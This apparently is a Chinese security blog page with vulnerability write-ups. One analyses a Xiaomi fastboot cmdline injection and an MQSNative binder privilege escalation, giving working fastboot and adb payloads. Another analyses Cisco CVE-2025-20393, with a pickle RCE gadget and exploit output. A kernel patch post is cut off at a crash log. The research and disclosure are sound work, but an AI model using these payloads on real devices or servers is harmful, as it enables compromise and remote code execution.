Swing'Blog 浮生若梦

Preempted: From ADB Service Call to Bootloader Unlock on Xiaomi

2026-03-09T12:14:21.000Z

Preempted: From ADB Service Call to Bootloader Unlock on Xiaomi

MQSNative 提权 + ABL Cmdline 注入 —— 小米三八解锁节漏洞分析

TL; DR

3月9号，也就是今天似乎已经热更新完了，我没有验证。为了避免白下，于是挑了一个看起来比较老的 ROM ^[1] ，解包过程不赘述了。直接开始分析涉及到的其中两个漏洞

Fastboot OEM Inject 可以注入cmdline 启动参数，将 selinux 设置为宽容模式
MIUI MQSNative Binder 提权漏洞，也是一个命令注入，可以通过adb获取高权限，前提 selinux 已经设置为宽容模式

另外这俩漏洞分析由我和 @MG1937^[2] 共同完成

Fastboot OEM cmdline 注入

这个漏洞是 ABL 的漏洞，二进制文件在 nezha_global_images_OS3.0.9.0.WPAMIXM_16.0/images/abl.elf

通过 binwalk 层层解压，最后用 7z 解压一个 decompressed.bin.7z 得到一个 LinuxLoader.efi

Payload :

1	fastboot oem set-gpu-preemption-value 0 androidboot.selinux=permissive

以上述这个 Payload 展开分析：

USB -> Fastboot 协议

Fastboot 协议通过 USB bulk transfer 发送原始命令字符串：

1	USB TX: "oem set-gpu-preemption 0 androidboot.selinux=permissive"

LinuxLoader.efi 的 fastboot command dispatch loop 遍历 g_OemCmdTable[30] (0xCAC08)，对每个 entry 做前缀匹配。匹配到 index 14：

.data:00000000000CACE8                 DCQ aOemSetGpuPreem     ; "oem set-gpu-preemption"
.data:00000000000CACF0                 DCQ CmdOemSetGpuPreemptionValue
.data:00000000000CACF8                 DCQ aOemDeviceInfo      ; "oem device-info"
.data:00000000000CAD00                 DCQ CmdOemDevinfo

调用时 arg 指针指向匹配前缀之后的部分：

完整命令: "oem set-gpu-preemption 0 androidboot.selinux=permissive"
                               .^
                                arg 指向这里
arg = " 0 androidboot.selinux=permissive"
       ↑ 注意开头有一个空格

CmdOemSetGpuPreemptionValue 执行

AsciiStrnCpyS(v703, "Set GPU HW Preemption: ", 64);// Resp[0x40] = "Set GPU HW Preemption: "
AsciiStrnCpyS(v702, " msm_kgsl.preempt_enable=", 256);// GpuPreemptionValue[0x100] = " msm_kgsl.preempt_enable="
while ( AsciiStrLen(v331) && *v331 == 0x20 )  // if (arg[Pos] == ' ') { arg++; Pos--; } else break;
  ++v331;

此刻栈上：

1 2	GpuPreemptionValue: [' ','m','s','m','_','k','g','s','l','.','p','r','e','e','m', 'p','t','_','e','n','a','b','l','e','=','\0', ... 0x100 bytes]

前导空格过滤循环 (0x5F7DC–0x5F7F8)

// arg = " 0 androidboot.selinux=permissive"
//        ^

  0x5F7E0  AsciiStrLen(arg)    → 33    // 非零，继续
  0x5F7E8  LDRB W8, [X19]              // W8 = *arg = 0x20 (空格)
  0x5F7EC  CMP  W8, #0x20              // 是空格？是
  0x5F7F0  B.NE done                   // 不跳转
  0x5F7F4  ADD  X19, X19, #1           // arg++ 跳过这个空格
  0x5F7F8  B    loop

  // 第二次迭代:
  // arg = "0 androidboot.selinux=permissive"
  //        ^
  0x5F7E8  LDRB W8, [X19]              // W8 = *arg = 0x30 ('0')
  0x5F7EC  CMP  W8, #0x20              // 是空格？不是
  0x5F7F0  B.NE done                   // ← 跳出循环

过滤后：arg = "0 androidboot.selinux=permissive"
循环在遇到第一个非空格字符 ‘0’ 后立即退出。字符串中间的空格 “0 androidboot…” 完全未被检查。

1
2

v336 = AsciiStrLen(v331);                     // AsciiStrLen(arg) - get length of user input (with embedded spaces)
  AsciiStrnCatS(GpuPreemptionValue, 256, v331, v336);// VULNERABILITY: AsciiStrnCatS(GpuPreemptionValue, 0x100, arg, len) -

拼接完后的 GpuPreemptionValue 为

1
2

GpuPreemptionValue = " msm_kgsl.preempt_enable=0 androidboot.selinux=permissive\0"
                        ←──────────────────── 58 字节 ───────────────────────→

最后应该是写入 UEFI NVRAM里了

@0x5F818  X20 = gRT_ptr->SetVariable        // offset 0x58 in EFI_RUNTIME_SERVICES
                                               // 即 SetVariable 函数指针

@0x5F828  AsciiStrLen(GpuPreemptionValue)    → 58

@0x5F838  gRT->SetVariable(
             L"GpuConfiguration",              // VariableName (Unicode)
             &gOemConfigVariableGuid,          // VendorGuid @ 0xCB3B4
             EFI_VARIABLE_NON_VOLATILE |       // Attributes = 7
               EFI_VARIABLE_BOOTSERVICE_ACCESS |
               EFI_VARIABLE_RUNTIME_ACCESS,
             58,                               // DataSize
             " msm_kgsl.preempt_enable=0 androidboot.selinux=permissive"
           )

payload 已持久化到 UEFI NVRAM。 NON_VOLATILE 意味着：

重启不丢失
恢复出厂设置不清除（factory reset 只擦 userdata/cache 分区，不动 UEFI 变量）
刷机不一定清除（除非刷入的固件主动删除该变量）

Kernel 解析 cmdline

设备重启后，ABL 加载 kernel 之前调用 UpdateCmdLine() 构造完整的 kernel command lin

先试读取 GpuConfiguration 变量

xEF20  X8 = *gRT_ptr                       // 取 EFI_RUNTIME_SERVICES*
  0xEF2C  X0 = L"G"                           // 短字符串优化，实际是 L"GpuConfiguration"
  0xEF34  X1 = &gOemConfigVariableGuid
  0xEF3C  X2 = 0                              // Attributes = NULL
  0xEF40  X8 = gRT->GetVariable               // offset 0x48
  0xEF44  BLR X8                              // 调用 GetVariable

           返回: EFI_SUCCESS (0)
           输出 buffer 内容:
           " msm_kgsl.preempt_enable=0 androidboot.selinux=permissive"

计算长度并追加到 cmdline (0xEF68–0xEF94)

0xEF68  X0 = &GpuCmdLine buffer             // 指向 GetVariable 输出
0xEF70  AsciiStrLen(GpuCmdLine)     → 58
0xEF78  AsciiStrnLenS_0x100(58)             // 边界检查 ≤ 0x100，通过

0xEF94  AppendToCmdLine(
             cmdline_dst,                      // 最终 kernel cmdline buffer
             GpuCmdLine,                       // " msm_kgsl.preempt_enable=0 androidboot.selinux=permissive"
             58                                // 长度
           )

无任何校验，直接拼接到 kernel command line。

这样当系统启动后，init 进程读取该 prop，将 SELinux 设为 permissive 模式

SELinux permissive 意味着：

所有 SELinux MAC 策略不再强制执行，只审计记录
任何进程可以访问任何文件、socket、设备节点
ADB shell 可以直接 su 而不被 SELinux 阻止
配合其他提权漏洞（如 MQSNative service call）可直接获得无约束 root

一个简单的流程


┌──────────────┐     写入      ┌─────────────────────┐
│  fastboot     │─────────────→│  UEFI NVRAM          │
│  oem 命令     │              │  GpuConfiguration    │
└──────────────┘              │  NON_VOLATILE        │
                               └──────────┬──────────┘
                                          │ 每次启动读取
                               ┌──────────▼──────────┐
                               │  UpdateCmdLine()     │
                               │  → kernel cmdline    │
                               │  → SELinux permissive│
                               └─────────────────────┘
                                          │
                              每次开机自动生效，直到:
                              1. fastboot oem set-gpu-preemption 0  (覆盖为正常值)
                              2. UEFI 变量被手动清除
                              3. 重刷完整固件（不一定清除 NVRAM）

一次注入 = 永久 SELinux 降级。用户无感知，设置界面仍显示 “Enforcing”（因为 UI 读的是运行时状态，而该注入在 init 早期就已生效）。

MIUI MQSNative Binder Privilege Escalation

这个漏洞涉及到的 Binder 服务是 MIUI MQSNative。解包后通过朴实无华的 grep 命令可以找到两个二进制程序

./system_ext_extracted/bin/hypsys_system
./system_ext_extracted/lib64/miui.mqsas.native-cpp.so

另外 grep 到一个 selinux 的配置

1	./system_ext_extracted/etc/selinux/system_ext_service_contexts:14:miui.mqsas.IMQSNative u:object_r:mqsasd_service:s0

进一步查找可以知道访问该服务的核心域 (Domains)有如下，

updater:
- 对应的 App: 通常是小米官方的“系统更新” (Updater) 应用。
- 权限: 这个 App 运行在 updater 域中，显然它需要调用 mqsasd 来执行某些系统维护任务（比如写入 Persist 文件或运行特定命令）。
system_server:
- 对应的组件: Android 系统的核心进程（system_server）。
- 含义: 系统服务（如 ActivityManagerService 或小米自定义的 Framework 服务）可以自由访问此接口。
hypsys_ssi_client:
- 对应的组件: 这是一个通用的客户标签。我们需要找出哪些进程被标记为 hypsys_ssi_client。
- 推测: 通常是一些负责系统稳定性监控、性能优化的系统级组件。

~~因此正常的 adb shell 应该也是访问不到这个Binder的~~，

adb shell 是能访问到这个BInder的，但是普通App权限应该不能（所以大概率不会被某XX利用）接着分析 MQSNative Binde

在 ./system_ext_extracted/etc/init/hypsys_system.rc init 的配置文件中可以看到, MQSNative Binder 服务以 root 权限运行

$ cat ./system_ext_extracted/etc/init/hypsys_system.rc |grep hypsys_system -A 10
service hypsys_system /system_ext/bin/hypsys_system
    user root
    group system root cache log everybody product_hyperengine
    disabled
    socket mqsasd stream 0660 system system
    socket mqsasd_pr dgram 0666 system system

MQSNative Binder 注册

MQSNative Binder 的注册在 /system_ext/bin/hypsys_system main 函数里能看到

...
// 0x9b680-0x9b724
 v41 = (MQSNativeDaemon *)operator new(0x30uLL);
  MQSNativeDaemon::MQSNativeDaemon(v41);
  android::defaultServiceManager(&serviceManager);
  // vtable+48 = IServiceManager::addService
  result = serviceManager->vptr->addService(
      serviceManager,
      descriptor,    // "miui.mqsas.IMQSNative" (String16)
      v41,           // MQSNativeDaemon* (作为 IBinder)
      0,             // allowIsolated = false
      8              // dumpPriority = PRIORITY_DEFAULT
  );

main 函数主要按以下顺序完整注册任务

+-------------------------------------------------------+
|                main() in hypsys_system                |
+-------------------------------------------------------+
                            |
                            v
+-------------------------------------------------------+
| [Step 1] HypSysSsi (AIDL NDK API)                     |
|  - Create HypSysSsiImpl                               |
|  - AServiceManager_addService("...IHypSysSsi/default")|
+-------------------------------------------------------+
                            |
                            v
+-------------------------------------------------------+
| [Step 2] BnHypSysSsiIntl (AIDL NDK API)               |
|  - Create BnHypSysSsiIntl                             |
|  - AServiceManager_addService("...IHypSysSsiIntl/...")|
+-------------------------------------------------------+
                            |
                            v
+-------------------------------------------------------+
| [Step 3] MQSNativeDaemon (Legacy Binder API)          | <--- 我们所关注的服务
|  - operator new(0x30)                                 |
|  - MQSNativeDaemon::MQSNativeDaemon()                 |
|  - android::defaultServiceManager()                   |
|  - IServiceManager::addService("miui.mqsas.IMQSNative")|
+-------------------------------------------------------+
                            |
                            v
+-------------------------------------------------------+
| [Step 4] ABinderProcess_startThreadPool()             |
|  - 启动子线程处理 Binder 请求                         |
+-------------------------------------------------------+
                            |
                            v
+-------------------------------------------------------+
| [Step 5] ABinderProcess_joinThreadPool()              |
|  - 主线程加入线程池，开始循环监听请求                 |
+-------------------------------------------------------+

onTransact 分派

BnMQSNative::onTransact 位于 ./system_ext_extracted/lib64/miui.mqsas.native-cpp.so 依赖库里的 0xC0B4

其是一个包含22 个case 的switch 大函数体，映射了 22 个AIDL 的接口方法，其中公开payload 中用到的是 21 这个

公开的payload是

adb shell service call miui.mqsas.IMQSNative 21 \
    i32 1 s16 "dd"                                          \
    i32 1 s16 "if=/data/local/tmp/gbl of=/dev/block/by-name/efisp" \
    s16 "/data/mqsas/log.txt"                               \
    i32 60

其对应的伪代码为如下

case 0x15u:  // captureLogByRunCommand - CRITICAL VULNERABILITY
    readStatus = data->readString16Vector(&cmds_vec);
    if (readStatus == 0) {
        readStatus = data->readString16Vector(&args_vec);
        if (readStatus == 0) {
            readStatus = data->readString16(&logFilePath);
            if (readStatus == 0) {
                readStatus = data->readInt32(&timeout);
                if (readStatus == 0) {
                    // 无任何权限检查，直接调用虚函数
                    this->vptr->captureLogByRunCommand(
                        this, cmds_vec, args_vec, logFilePath, timeout,
                        &call_status, &call_status_msg
                    );
                }
            }
        }
    }

其调用的功能是 captureLogByRunCommand

我们简单映射一下ADB命令和 Parcel 参数的映射结果如下

Parcel 数据	反序列化调用	含义
`i32 1` + `s16 "dd"`	`readString16Vector(&cmds)`	命令向量：size=1, [“dd”]
`i32 1` + `s16 "if=... of=..."`	`readString16Vector(&args)`	参数向量：size=1, [“if=/data/local/tmp/gbl of=/dev/block/by-name/efisp”]
`s16 "/data/mqsas/log.txt"`	`readString16(&logFile)`	日志文件路径
`i32 60`	`readInt32(&timeout)`	超时秒数

captureLogByRunCommand -> miui::mqsas::BpMQSNative::captureLogByRunCommand 最后结果就是：

任意命令+参数：captureLogByRunCommand 接受任意命令名和参数，无白名单/黑名单过滤

changelog

v2: 修复了一些 selinux 的错别字
v1: 更改了错误说法，其实 ·adb shell· 是可以访问到小米 MQSNative Binder 的

Reference link

1.https://bn.d.miui.com/OS3.0.9.0.WPAMIXM/nezha_global_images_OS3.0.9.0.WPAMIXM_20260210.0000.00_16.0_global_e160067725.tgz ↩
2.https://github.com/MG1937 ↩

Pickling the Mailbox: A Deep Dive into CVE-2025-20393

2026-02-07T04:00:00.000Z

TL;DR

CVE-2025-20393 是 Cisco Secure Email Gateway 和 Secure Email and Web Manager 中的一个严重漏洞（CVSS 10.0）。漏洞成因是 EUQ（End User Quarantine）服务的 RPC 协议在打包 destination 长度时使用了单字节 struct.pack('>B', ...)，而 Python 2.6 对超出范围的值会静默截断而非抛出异常。当攻击者发送 256 字节的 payload 时，长度字段溢出为 0，导致认证绕过，最终通过 cPickle.loads() 实现未授权 RCE。

0x00 漏洞背景

2025年12月17日，Cisco 发布安全公告 cisco-sa-sma-attack-N9bf4，修复了一个 CVSS 10.0 的严重漏洞：

字段	值
Advisory ID	cisco-sa-sma-attack-N9bf4
CVE	CVE-2025-20393
CVSS 3.1	10.0 (Critical)
CWE	CWE-20 (Improper Input Validation)
受影响产品	Cisco Secure Email Gateway (SEG), Secure Email and Web Manager (SMA)
Bug IDs	CSCws36549, CSCws52505
Workarounds	无

我们获取了 AsyncOS 15.5.3 固件，通过逆向工程和代码分析

0x01 补丁分析

当补丁版本发布后，我们提取并对比了两个版本的固件。EUQ（End User Quarantine）服务引起了我们的注意——它暴露在 83 端口且大量使用 Python。

对比 AsyncOS 15.5.3（漏洞版本）与补丁版本的 CommandMessage.py：

$ diff AsyncOS_15_5_3/site-packages/zeus/CommandMessage.py \
       AsyncOS_patched/site-packages/zeus/CommandMessage.py

30a26,47
>     if destination is not None:
>         if len(destination) >= 255:
>             debug_str = 'DEBUG:send_message:Invalid destination len:%r ...'
>             coro.print_stderr(debug_str)
>             raise Commandment.MessageFormatError()
>     if source is not None:
>         if len(source) >= 255:
>             debug_str = 'DEBUG:send_message:Invalid source len:%r ...'
>             coro.print_stderr(debug_str)
>             raise Commandment.MessageFormatError()

补丁对 destination 和 source 增加了 >= 255 的长度限制。超过则抛出 MessageFormatError。

关键问题

猫哥在看到这个 diff 时敏锐的觉得这应该是一个有用的Patch：

“为什么是 255？如果发送 256 字节会怎样？”

0x02 Python 2.6 的 struct.pack 行为

查看反编译后的文件头：

1 2	# Python bytecode version base 2.6 (62161) # Compiled at: 2024-11-27 14:22:42

AsyncOS 使用 Python 2.6 运行时——一个 2008 年发布、2013 年已 EOL 的版本。这至关重要，因为 Python 2.6 与 Python 3 在处理 struct.pack 溢出时行为完全不同。

Python 3.x（严格模式）：

>>> import struct
>>> struct.pack('>B', 256)
Traceback (most recent call last):
  File "", line 1, in 
struct.error: 'B' format requires 0 <= number <= 255

Python 3 在值超出范围时抛出异常。

Python 2.6（静默截断）：

>>> import struct
>>> struct.pack('>B', 256)
'\x00'
>>> struct.pack('>B', 289)
'!'
>>> ord('!')
33

Python 2.6 对超出范围的值执行模运算：

1
2
3

256 % 256 = 0   → '\x00'
289 % 256 = 33  → '!' (0x21)
512 % 256 = 0   → '\x00'

这就是整数溢出。在 Python 2.6 中，struct.pack('>B', 256) 不会失败——它返回 0x00。

为何重要

RPC 消息打包代码使用：

1	dst_len = struct.pack('>B', len(destination))

当 len(destination) = 256 时：

Python 3：抛出异常，攻击失败
Python 2.6：dst_len = '\x00'，攻击成功

Cisco 古老的 Python 2.6 运行时将一个潜在的崩溃转变为可利用的溢出。

0x03 EUQ RPC 协议分析

EUQ 服务架构

EUQ 允许邮件接收者通过 83 端口的 Web 界面管理隔离邮件：

┌─────────────┐      HTTPS/83      ┌─────────────┐      RPC       ┌─────────────┐
│   End User  │ ◄───────────────►  │  EUQ Web    │ ◄────────────► │  EUQ Backend│
│   Browser   │                    │  Frontend   │                │  (Python)   │
└─────────────┘                    └─────────────┘                └─────────────┘
                                         │
                                         ▼
                                   /Search endpoint
                                   ?auth=...&serial=...

消息头定义

Commandment.py 定义了 RPC 消息头格式：

1
2
3

# Commandment.py
HEADER = '>BBIIBB32s'
HEADER_LENGTH = struct.calcsize(HEADER)  # 44 bytes

格式解析：

格式	类型	大小	字段
`>`	Big-endian	-	字节序修饰符
`B`	unsigned char	1 byte	version
`B`	unsigned char	1 byte	ttl
`I`	unsigned int	4 bytes	message_length
`I`	unsigned int	4 bytes	message_type
`B`	unsigned char	1 byte	source_length
`B`	unsigned char	1 byte	destination_length
`32s`	char[32]	32 bytes	txn_tag

总 header 大小：1+1+4+4+1+1+32 = 44 字节

漏洞点在于 source_length 和 destination_length——均定义为单字节无符号字符（B），范围限制为 0-255。

消息构造：send_message()

def send_message(write_method, message_type, source, destination='',
                 message='', ttl=0, timeout=0, tag=None):
    header = struct.pack(
        Commandment.HEADER,
        Commandment.MESSAGE_VERSION,
        ttl,
        len(message),
        message_type,
        len(source),         # ← 溢出点
        len(destination),    # ← 溢出点
        _message_tag(tag)
    )
    packet = header + source + destination + message
    write_method(packet)

关键观察：当 len(destination) 超过 255 时，Python 2.6 的 struct.pack 使用格式 'B' 会静默截断该值。

消息解析：read_message()

# CommandMessage.py - read_message()
def read_message(read_method, timeout=0):
    # 读取固定大小的 header（44 字节）
    header = _read(read_method, Commandment.HEADER_LENGTH, timeout)

    try:
        # 解包 header 字段
        (version, ttl, message_length, message_type,
         source_length, destination_length, txn_tag) = struct.unpack(
            Commandment.HEADER, header)
    except struct.error:
        raise Commandment.MessageFormatError()

    # 验证协议版本
    if version != Commandment.MESSAGE_VERSION:
        raise Commandment.MessageVersionError(version, Commandment.MESSAGE_VERSION)

    # 根据 source_length 读取 source 字段
    source = _read(read_method, source_length, timeout)

    # 根据 destination_length 读取 destination 字段
    if destination_length:                                    # ← [A] 检查
        destination = _read(read_method, destination_length, timeout)
    else:
        destination = ''  # ← [B] 当 destination_length=0 时，设为空字符串！

    # 读取消息载荷
    message = _read(read_method, message_length, timeout)

    return (txn_tag.rstrip('\x00'), ttl, message_type, source, destination, message)

关键漏洞路径 [A] 和 [B]：

当 destination_length = 0（由于溢出），代码进入 else 分支
destination 被设为空字符串 ''
空 destination 不会触发认证验证
攻击者控制的 message 载荷直接进入 cPickle.loads()

完整消息结构

  +--------------------------- HEADER (44 bytes) ---------------------------+
|                                                                          |
|  +---------+---------+--------------+--------------+----------+---------+--------+
|  | version |   ttl   | message_len  | message_type |source_len| dest_len|txn_tag |
|  |  (1B)   |  (1B)   |    (4B)      |    (4B)      |   (1B)   |  (1B)   | (32B)  |
|  |   'B'   |   'B'   |    'I'       |    'I'       |   'B'    |  'B'    | '32s'  |
|  +---------+---------+--------------+--------------+----------+---------+--------+
|                                                                          |
+--------------------------------------------------------------------------+
                                      |
                                      v
+--------------------------- BODY (variable) -----------------------------+
|                                                                          |
|  +--------------------+---------------------+----------------------------+
|  |      source        |    destination      |          message           |
|  | (source_len bytes) |  (dest_len bytes)   |    (message_len bytes)     |
|  |                    |                     |    -> cPickle.loads()      |
|  +--------------------+---------------------+----------------------------+
|                                                                          |
+--------------------------------------------------------------------------+

0x04 漏洞分析

溢出链

追踪发送 256 字节 destination 时的执行流程：

步骤 1：消息打包（发送端）

# 在 send_message() 中 - 漏洞版本
destination = attacker_controlled_256_bytes
header = struct.pack('>BBIIBB32s',
    ...,
    len(destination),  # 256 → Python 2.6 截断为 0x00
    ...
)

步骤 2：消息解析（接收端）

# 在 read_message() 中
(version, ttl, message_length, message_type,
 source_length, destination_length, txn_tag) = struct.unpack('>BBIIBB32s', header)

# destination_length = 0（来自溢出）

if destination_length:    # False!
    destination = _read(read_method, destination_length, timeout)
else:
    destination = ''      # 空字符串，认证被绕过！

message = _read(read_method, message_length, timeout)
return (..., destination, message)  # 攻击者的 pickle 进入处理程序

步骤 3：通过 Pickle 实现 RCE

1 2	# 在 RPC 处理程序中 result = cPickle.loads(message) # 攻击者控制的反序列化 → RCE

代码流程图

                    攻击者发送 256 字节的 serial 参数
                                    │
                                    ▼
┌─────────────────────────────────────────────────────────────────────────────┐
│  send_message()  @ CommandMessage.py                                        │
│                                                                             │
│    destination = attacker_payload (256 bytes)                               │
│                       │                                                     │
│                       ▼                                                     │
│    struct.pack('>BBIIBB32s', ..., len(destination), ...)                    │
│    struct.pack(..., 256, ...)                                               │
│                       │                                                     │
│                       ▼                                                     │
│    Python 2.6: 256 % 256 = 0 → '\x00'  ← 整数溢出                            │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘
                                    │
                                    │ 网络传输
                                    ▼
┌─────────────────────────────────────────────────────────────────────────────┐
│  read_message()  @ CommandMessage.py                                        │
│                                                                             │
│    header = _read(read_method, 44, timeout)                                 │
│    (..., dest_len, ...) = struct.unpack('>BBIIBB32s', header)               │
│                       │                                                     │
│                       ▼                                                     │
│    dest_len = 0  ← 来自溢出                                                  │
│                       │                                                     │
│                       ▼                                                     │
│    if dest_len:       # False!                                              │
│        destination = _read(read_method, dest_len, timeout)                  │
│    else:                                                                    │
│        destination = ''  ← 空字符串，认证被绕过                               │
│                       │                                                     │
│                       ▼                                                     │
│    message = _read(read_method, message_len, timeout)                       │
│    return (..., destination, message)                                       │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘
                                    │
                                    ▼
┌─────────────────────────────────────────────────────────────────────────────┐
│  RPC Handler                                                                │
│                                                                             │
│    (_, _, _, _, destination, message) = read_message(...)                   │
│                       │                                                     │
│                       ▼                                                     │
│    # destination = ''（空）- 验证被跳过或通过                                 │
│                       │                                                     │
│                       ▼                                                     │
│    result = cPickle.loads(message)  ← 攻击者控制的 PICKLE                    │
│                       │                                                     │
│                       ▼                                                     │
│    os.system('attacker_command')  ← RCE 达成                                │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

为何 Pickle 是危险的

对不可信输入使用 cPickle.loads() 是灾难性的：

import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('id',))

# 序列化
payload = pickle.dumps(Exploit())

# 反序列化时执行：os.system('id')
pickle.loads(payload)  # uid=0(root) gid=0(wheel)...

__reduce__ 方法告诉 pickle 如何重建对象——而这个”重建”可以是任意代码执行。

0x05 利用策略：认证绕过深度分析

认证问题

正常操作中，EUQ RPC 协议使用 destination 字段进行认证。服务器验证传入消息是否发往自己的序列号：

# RPC 处理程序中的简化认证逻辑
def handle_rpc_message(message_data):
    (_, _, _, source, destination, message) = read_message(...)

    # 认证检查：destination 必须匹配服务器的序列号
    if destination != MY_SERIAL_NUMBER:
        raise AuthenticationError("Message not for this server")

    # 仅当认证通过时，处理消息
    result = cPickle.loads(message)

挑战：要利用 pickle 反序列化，我们需要通过认证检查。但如何知道目标服务器的序列号？

两种利用方式对比

方式	前提条件	溢出值	使用场景
序列号匹配	需知道目标序列号	`dst_len = serial_len`	序列号已泄露时
零长度绕过	无	`dst_len = 0`	通用，无前提条件

方式 1：序列号匹配

Serial: "564D3D47E3BCFBA26307-2EC835E2635A" (33 bytes)
Payload 长度: 256 + 33 = 289 bytes
溢出: 289 % 256 = 33 ✓

服务器读取 33 字节作为 destination → 匹配序列号 → 认证通过

Payload 布局：

┌────────────────────────┬────────────────────┬─────────────────┐
│     Server Serial      │   Pickle Payload   │    Padding      │
│       (33 bytes)       │    (72 bytes)      │  (184 bytes)    │
└────────────────────────┴────────────────────┴─────────────────┘
  Total: 289 bytes → 289 % 256 = 33

           │                       │
           ▼                       ▼
    通过认证检查            cPickle.loads() → RCE

方式 2：零长度绕过（无前提条件）

一开始以为必须要有合法的序列号，然后再猫哥的提醒下发现dst_len = 0 会创建一个特殊情况。再次审视 read_message() 代码：

# CommandMessage.py - read_message() 漏洞路径
def read_message(read_method, timeout=0):
    # ... 解包 header ...

    # destination_length 来自 header（通过溢出被攻击者控制）
    if destination_length:                    # ← [1] 检查是否非零
        destination = _read(read_method, destination_length, timeout)
    else:
        destination = ''                      # ← [2] dst_len=0 时为空字符串！

    # ... 继续处理 ...

当 destination_length = 0 时：

[1] 处的 if destination_length: 检查求值为 False（0 是假值）
代码进入 [2] 处的 else 分支
destination 被设为空字符串 ''
不从网络读取任何字节作为 destination

空 Destination 为何能绕过认证

通过分析，我们确定当 destination 为空时，认证检查存在以下行为之一：

# 场景 A：空检查跳过验证
if destination:  # 空字符串在 Python 中是假值
    if destination != MY_SERIAL_NUMBER:
        raise AuthenticationError(...)
# 空 destination → 验证完全被跳过

# 场景 B：广播/本地消息处理
if destination == '' or destination == MY_SERIAL_NUMBER:
    # 接受消息（空 = 广播或本地）
    process_message(...)

# 场景 C：错误处理穿透
try:
    validate_destination(destination)  # 可能未处理空情况
except:
    pass  # 静默继续

无论哪种情况，空 destination 都允许消息到达 cPickle.loads()。

两种方式对比

┌─────────────────────────────────────────────────────────────────────────────┐
│                          序列号匹配方式                                      │
├─────────────────────────────────────────────────────────────────────────────┤
│  Payload: [SERIAL (33B)] [PICKLE (72B)] [PADDING (184B)] = 289 bytes        │
│                                                                             │
│  溢出: 289 % 256 = 33                                                       │
│                                                                             │
│  服务器读取:                                                                 │
│    dst_len = 33                                                             │
│    destination = payload[0:33] = "564D3D47E3BCFBA26307-2EC835E2635A"        │
│    认证检查: destination == MY_SERIAL → 通过 ✓                               │
│    message = payload[33:105] = pickle_gadget                                │
│    cPickle.loads(message) → RCE                                             │
│                                                                             │
│  要求: 必须知道服务器的序列号                                                 │
└─────────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│                        零长度绕过方式 ✓                                      │
├─────────────────────────────────────────────────────────────────────────────┤
│  Payload: [PICKLE (72B)] [PADDING (184B)] = 256 bytes                       │
│                                                                             │
│  溢出: 256 % 256 = 0                                                        │
│                                                                             │
│  服务器读取:                                                                 │
│    dst_len = 0                                                              │
│    if dst_len: ... else: destination = ''  ← 空字符串                       │
│    认证检查: destination == '' → 绕过! ✓                                     │
│    message = payload[0:72] = pickle_gadget                                  │
│    cPickle.loads(message) → RCE                                             │
│                                                                             │
│  要求: 无 - 对任何目标都有效                                                  │
└─────────────────────────────────────────────────────────────────────────────┘

我们选择零长度绕过方式，因为它无需任何目标信息即可实现通用利用。

0x06 利用演示

$ python3 exploit.py 192.168.2.10 'touch /tmp/pwned'

======================================================================
CVE-2025-20393 - Cisco Secure Email Gateway RCE
Advisory: cisco-sa-sma-attack-N9bf4
======================================================================

[*] Target:   https://192.168.2.10:83
[*] Command:  touch /tmp/pwned

[*] Exploit Details:
    ├─ Python 2.6 struct.pack('>B', 256) = 0x00 (truncated)
    ├─ Pickle gadget:  72 bytes
    ├─ Padding:        184 bytes
    ├─ Total payload:  256 bytes
    └─ Overflow:       256 % 256 = 0

[*] URL length: 891 bytes

[*] Sending exploit...
[+] Read timeout - likely successful!
    (Server busy executing pickle payload)

验证：

References

如何给 Linux 内核提交补丁：一次真实的踩坑记录

2026-02-01T04:00:00.000Z

最近给 Linux 内核提交了一个补丁，修复 skbuff_fclone_cache 的 usercopy 问题，过程中踩了不少坑。这篇文章记录一下整个流程，希望能帮到想给内核提补丁的朋友。

背景

事情是这样的，n132和我发现了一个内核 panic，在启用 CONFIG_HARDENED_USERCOPY 的时候会触发。

问题出在 skbuff_fclone_cache 这个 slab 缓存创建的时候没有定义 usercopy 区域，但是 skbuff_head_cache 是有的。这就导致内核在尝试把 sk_buff.cb 的数据拷贝到用户空间的时候会 BUG()。

崩溃的调用链大概是这样：

TCP 用 alloc_skb_fclone() 分配 skb
skb_clone() 克隆这个 skb
克隆的 skb 被放到 sk_error_queue
用户空间调用 recvmsg(MSG_ERRQUEUE) 读错误队列
sock_recv_errqueue() 调用 put_cmsg() 拷贝数据
然后__check_heap_object() 检查失败触发内核崩溃

崩溃日志长这样：

[    5.379589] usercopy: Kernel memory exposure attempt detected from SLUB object 'skbuff_fclone_cache' (offset 296, size 16)!
[    5.382796] kernel BUG at mm/usercopy.c:102!
[    5.383923] Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI
[    5.384903] CPU: 1 UID: 0 PID: 138 Comm: poc_put_cmsg Not tainted 6.12.57 #7
[    5.384903] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014
[    5.384903] RIP: 0010:usercopy_abort+0x6c/0x80
[    5.384903] Code: 1a 86 51 48 c7 c2 40 15 1a 86 41 52 48 c7 c7 c0 15 1a 86 48 0f 45 d6 48 c7 c6 80 15 1a 86 48 89 c1 49 0f 45 f3 e8 84 27 88 ff <0f> 0b 490
[    5.384903] RSP: 0018:ffffc900006f77a8 EFLAGS: 00010246
[    5.384903] RAX: 000000000000006f RBX: ffff88800f0ad2a8 RCX: 1ffffffff0f72e74
[    5.384903] RDX: 0000000000000000 RSI: 0000000000000004 RDI: ffffffff87b973a0
[    5.384903] RBP: 0000000000000010 R08: 0000000000000000 R09: fffffbfff0f72e74
[    5.384903] R10: 0000000000000003 R11: 79706f6372657375 R12: 0000000000000001
[    5.384903] R13: ffff88800f0ad2b8 R14: ffffea00003c2b40 R15: ffffea00003c2b00
[    5.384903] FS:  0000000011bc4380(0000) GS:ffff8880bf100000(0000) knlGS:0000000000000000
[    5.384903] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    5.384903] CR2: 000056aa3b8e5fe4 CR3: 000000000ea26004 CR4: 0000000000770ef0
[    5.384903] PKRU: 55555554
[    5.384903] Call Trace:
[    5.384903]  
[    5.384903]  __check_heap_object+0x9a/0xd0
[    5.384903]  __check_object_size+0x46c/0x690
[    5.384903]  put_cmsg+0x129/0x5e0
[    5.384903]  sock_recv_errqueue+0x22f/0x380
